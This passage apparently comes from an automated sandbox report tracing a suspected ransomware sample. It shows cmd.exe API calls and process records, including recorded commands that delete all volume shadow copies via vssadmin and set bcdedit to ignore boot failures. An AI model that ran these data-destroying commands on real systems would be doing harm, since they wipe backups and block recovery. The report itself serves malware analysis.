out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.903] GetProcessHeap () returned 0x2c40000 [0069.903] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c48750) returned 1 [0069.903] ??_V@YAXPAX@Z () returned 0x1 [0069.903] ??_V@YAXPAX@Z () returned 0x1 [0069.903] GetProcessHeap () returned 0x2c40000 [0069.903] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x400e) returned 0x2c49368 [0069.903] GetProcessHeap () returned 0x2c40000 [0069.903] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x8c) returned 0x2c45950 [0069.903] GetProcessHeap () returned 0x2c40000 [0069.903] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x4008) returned 0x2c4d380 [0069.903] GetProcessHeap () returned 0x2c40000 [0069.903] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x4008) returned 0x2c51390 [0069.904] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0069.904] malloc (_Size=0xffce) returned 0x2f20020 [0069.904] ??_V@YAXPAX@Z () returned 0x7af63c [0069.905] GetProcessHeap () returned 0x2c40000 [0069.905] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1ffa4) returned 0x2c553a0 [0069.907] SetErrorMode (uMode=0x0) returned 0x0 [0069.907] SetErrorMode (uMode=0x1) returned 0x0 [0069.907] GetFullPathNameW (in: lpFileName="bcdedit.exe \\.", nBufferLength=0xffce, lpBuffer=0x2c553a8, lpFilePart=0x7af65c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe", lpFilePart=0x7af65c*="bcdedit.exe") returned 0x23 [0069.907] SetErrorMode (uMode=0x0) returned 0x1 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlReAllocateHeap (Heap=0x2c40000, Flags=0x0, Ptr=0x2c553a0, Size=0xb2) returned 0x2c553a0 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c553a0) returned 0xb2 [0069.907] NeedCurrentDirectoryForExePathW (ExeName="bcdedit.exe \\.") returned 1 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x56) returned 0x2c459e8 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xa0) returned 0x2c45a48 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlReAllocateHeap (Heap=0x2c40000, Flags=0x0, Ptr=0x2c45a48, Size=0x56) returned 0x2c45a48 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c45a48) returned 0x56 [0069.907] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.907] GetProcessHeap () returned 0x2c40000 [0069.907] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xe0) returned 0x2c45aa8 [0069.911] GetProcessHeap () returned 0x2c40000 [0069.911] RtlReAllocateHeap (Heap=0x2c40000, Flags=0x0, Ptr=0x2c45aa8, Size=0x76) returned 0x2c45aa8 [0069.911] GetProcessHeap () returned 0x2c40000 [0069.911] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c45aa8) returned 0x76 [0069.911] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.912] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe\\set {default} bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x7af3e8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7af3e8) returned 0xffffffff [0069.912] GetLastError () returned 0x3 [0069.912] ??_V@YAXPAX@Z () returned 0x1 [0069.912] GetProcessHeap () returned 0x2c40000 [0069.912] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c4d380) returned 1 [0069.913] GetProcessHeap () returned 0x2c40000 [0069.913] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c51390) returned 1 [0069.913] GetProcessHeap () returned 0x2c40000 [0069.913] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c49368) returned 1 [0069.913] GetConsoleOutputCP () returned 0x1b5 [0070.219] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0070.219] GetUserDefaultLCID () returned 0x409 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb8f82c, cchData=8 | out: lpLCData=":") returned 2 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x7af844, cchData=128 | out: lpLCData="0") returned 2 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x7af844, cchData=128 | out: lpLCData="0") returned 2 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x7af844, cchData=128 | out: lpLCData="1") returned 2 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb8f81c, cchData=8 | out: lpLCData="/") returned 2 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb8f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb8f778, cchData=32 | out: lpLCData="Tue") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb8f738, cchData=32 | out: lpLCData="Wed") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb8f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb8f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb8f678, cchData=32 | out: lpLCData="Sat") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb8f638, cchData=32 | out: lpLCData="Sun") returned 4 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb8f80c, cchData=8 | out: lpLCData=".") returned 2 [0070.224] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb8f7f8, cchData=8 | out: lpLCData=",") returned 2 [0070.224] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0070.226] GetProcessHeap () returned 0x2c40000 [0070.226] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x20c) returned 0x2c45b70 [0070.226] GetConsoleTitleW (in: lpConsoleTitle=0x2c45b70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0070.525] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000 [0070.525] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330 [0070.526] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930 [0070.526] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0 [0070.526] ??_V@YAXPAX@Z () returned 0x1 [0070.526] GetProcessHeap () returned 0x2c40000 [0070.526] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x400a) returned 0x2c49368 [0070.526] GetProcessHeap () returned 0x2c40000 [0070.526] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c49368) returned 1 [0070.527] _wcsicmp (_String1="bcdedit.exe", _String2=")") returned 57 [0070.527] _wcsicmp (_String1="FOR", _String2="bcdedit.exe") returned 4 [0070.527] _wcsicmp (_String1="FOR/?", _String2="bcdedit.exe") returned 4 [0070.527] _wcsicmp (_String1="IF", _String2="bcdedit.exe") returned 7 [0070.528] _wcsicmp (_String1="IF/?", _String2="bcdedit.exe") returned 7 [0070.528] _wcsicmp (_String1="REM", _String2="bcdedit.exe") returned 16 [0070.528] _wcsicmp (_String1="REM/?", _String2="bcdedit.exe") returned 16 [0070.528] GetProcessHeap () returned 0x2c40000 [0070.528] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x58) returned 0x2c45d88 [0070.528] GetProcessHeap () returned 0x2c40000 [0070.528] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x20) returned 0x2c45de8 [0070.529] GetProcessHeap () returned 0x2c40000 [0070.529] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x6e) returned 0x2c45e10 [0070.529] GetConsoleTitleW (in: lpConsoleTitle=0x7af738, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0071.508] malloc (_Size=0xffce) returned 0x2f226a0 [0071.519] ??_V@YAXPAX@Z () returned 0x7af4c4 [0071.540] malloc (_Size=0xffce) returned 0x2f32678 [0071.540] ??_V@YAXPAX@Z () returned 0x7af27c [0071.541] GetFileAttributesW (lpFileName="bcdedit.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\bcdedit.exe")) returned 0xffffffff [0071.541] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0071.541] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0071.541] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0071.541] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0071.541] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0071.541] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0071.541] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0071.541] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0071.541] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0071.542] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0071.542] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0071.542] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0071.542] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0071.542] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0071.542] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0071.542] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0071.542] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0071.542] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0071.542] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0071.542] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0071.542] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0071.542] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0071.542] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0071.542] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0071.542] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0071.542] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0071.542] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0071.542] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0071.542] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0071.542] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0071.542] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0071.542] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0071.542] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0071.542] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0071.542] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0071.542] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0071.542] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0071.542] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0071.542] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0071.542] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0071.542] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0071.542] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0071.542] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0071.542] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0071.542] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0071.542] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0071.542] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0071.543] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0071.543] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0071.543] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0071.543] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0071.543] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0071.543] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0071.543] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0071.543] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0071.543] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0071.543] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0071.543] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0071.543] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0071.543] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0071.543] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0071.543] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0071.543] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0071.543] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0071.543] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0071.543] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0071.543] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0071.543] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0071.543] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0071.543] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0071.543] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0071.543] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0071.543] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0071.543] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0071.543] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0071.543] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0071.543] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0071.543] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0071.543] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0071.543] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0071.544] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0071.544] ??_V@YAXPAX@Z () returned 0x1 [0071.544] GetProcessHeap () returned 0x2c40000 [0071.544] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xffd6) returned 0x2c55460 [0071.545] GetProcessHeap () returned 0x2c40000 [0071.545] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x86) returned 0x2c45e88 [0071.545] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0071.545] malloc (_Size=0xffce) returned 0x2f32678 [0071.545] ??_V@YAXPAX@Z () returned 0x7aeffc [0071.546] GetProcessHeap () returned 0x2c40000 [0071.546] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1ffa4) returned 0x2c65440 [0071.548] SetErrorMode (uMode=0x0) returned 0x0 [0071.548] SetErrorMode (uMode=0x1) returned 0x0 [0071.548] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2c65448, lpFilePart=0x7af01c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x7af01c*="Desktop") returned 0x17 [0071.548] SetErrorMode (uMode=0x0) returned 0x1 [0071.548] GetProcessHeap () returned 0x2c40000 [0071.548] RtlReAllocateHeap (Heap=0x2c40000, Flags=0x0, Ptr=0x2c65440, Size=0x50) returned 0x2c65440 [0071.548] GetProcessHeap () returned 0x2c40000 [0071.548] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c65440) returned 0x50 [0071.548] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0071.548] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.548] GetProcessHeap () returned 0x2c40000 [0071.548] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1b4) returned 0x2c45f18 [0071.548] GetProcessHeap () returned 0x2c40000 [0071.548] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x360) returned 0x2c460d8 [0071.553] GetProcessHeap () returned 0x2c40000 [0071.553] RtlReAllocateHeap (Heap=0x2c40000, Flags=0x0, Ptr=0x2c460d8, Size=0x1b6) returned 0x2c460d8 [0071.553] GetProcessHeap () returned 0x2c40000 [0071.553] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c460d8) returned 0x1b6 [0071.553] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.553] GetProcessHeap () returned 0x2c40000 [0071.553] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xe0) returned 0x2c46298 [0071.553] GetProcessHeap () returned 0x2c40000 [0071.553] RtlReAllocateHeap (Heap=0x2c40000, Flags=0x0, Ptr=0x2c46298, Size=0x76) returned 0x2c46298 [0071.553] GetProcessHeap () returned 0x2c40000 [0071.553] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c46298) returned 0x76 [0071.553] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.554] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.554] GetLastError () returned 0x2 [0071.554] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.554] GetLastError () returned 0x2 [0071.554] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.554] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.554] GetLastError () returned 0x2 [0071.554] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.555] GetLastError () returned 0x2 [0071.555] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.555] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.555] GetLastError () returned 0x2 [0071.555] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.555] GetLastError () returned 0x2 [0071.555] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.555] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.555] GetLastError () returned 0x2 [0071.555] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.555] GetLastError () returned 0x2 [0071.555] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.555] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.557] GetLastError () returned 0x2 [0071.557] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.559] GetLastError () returned 0x2 [0071.559] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.559] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.560] GetLastError () returned 0x2 [0071.560] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.561] GetLastError () returned 0x2 [0071.561] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.562] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x7aedc8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aedc8) returned 0xffffffff [0071.562] GetLastError () returned 0x2 [0071.562] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x7aeda8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7aeda8) returned 0xffffffff [0071.562] GetLastError () returned 0x2 [0071.562] ??_V@YAXPAX@Z () returned 0x1 [0071.562] _get_osfhandle (_FileHandle=2) returned 0x94 [0071.562] GetFileType (hFile=0x94) returned 0x2 [0071.562] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0071.562] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x7af1f4 | out: lpMode=0x7af1f4) returned 1 [0072.337] _get_osfhandle (_FileHandle=2) returned 0x94 [0072.337] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x7af244 | out: lpConsoleScreenBufferInfo=0x7af244) returned 1 [0072.788] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xb9b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0072.788] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xb9b990, nSize=0x2000, Arguments=0x7af274 | out: lpBuffer="'bcdedit.exe' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x66 [0072.789] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xb9b990*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0x7af228, lpReserved=0x0 | out: lpBuffer=0xb9b990*, lpNumberOfCharsWritten=0x7af228*=0x66) returned 1 [0073.090] ??_V@YAXPAX@Z () returned 0x1 [0073.090] _get_osfhandle (_FileHandle=1) returned 0x90 [0073.090] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0073.693] _get_osfhandle (_FileHandle=1) returned 0x90 [0073.693] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb93890 | out: lpMode=0xb93890) returned 1 [0074.033] _get_osfhandle (_FileHandle=0) returned 0x8c [0074.033] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93894 | out: lpMode=0xb93894) returned 1 [0074.241] SetConsoleInputExeNameW () returned 0x1 [0074.241] GetConsoleOutputCP () returned 0x1b5 [0074.724] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0074.724] SetThreadUILanguage (LangId=0x0) returned 0x990409 [0074.901] exit (_Code=1) [0074.901] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 97 os_tid = 0x360 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x65c54000" os_pid = "0x12d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xf6c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 75 os_tid = 0x12dc Thread: id = 76 os_tid = 0x128c Thread: id = 93 os_tid = 0x1240 Thread: id = 94 os_tid = 0x1260 Thread: id = 96 os_tid = 0xf3c Process: id = "9" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x14dcf000" os_pid = "0x11e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe00" cmd_line = "vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 98 os_tid = 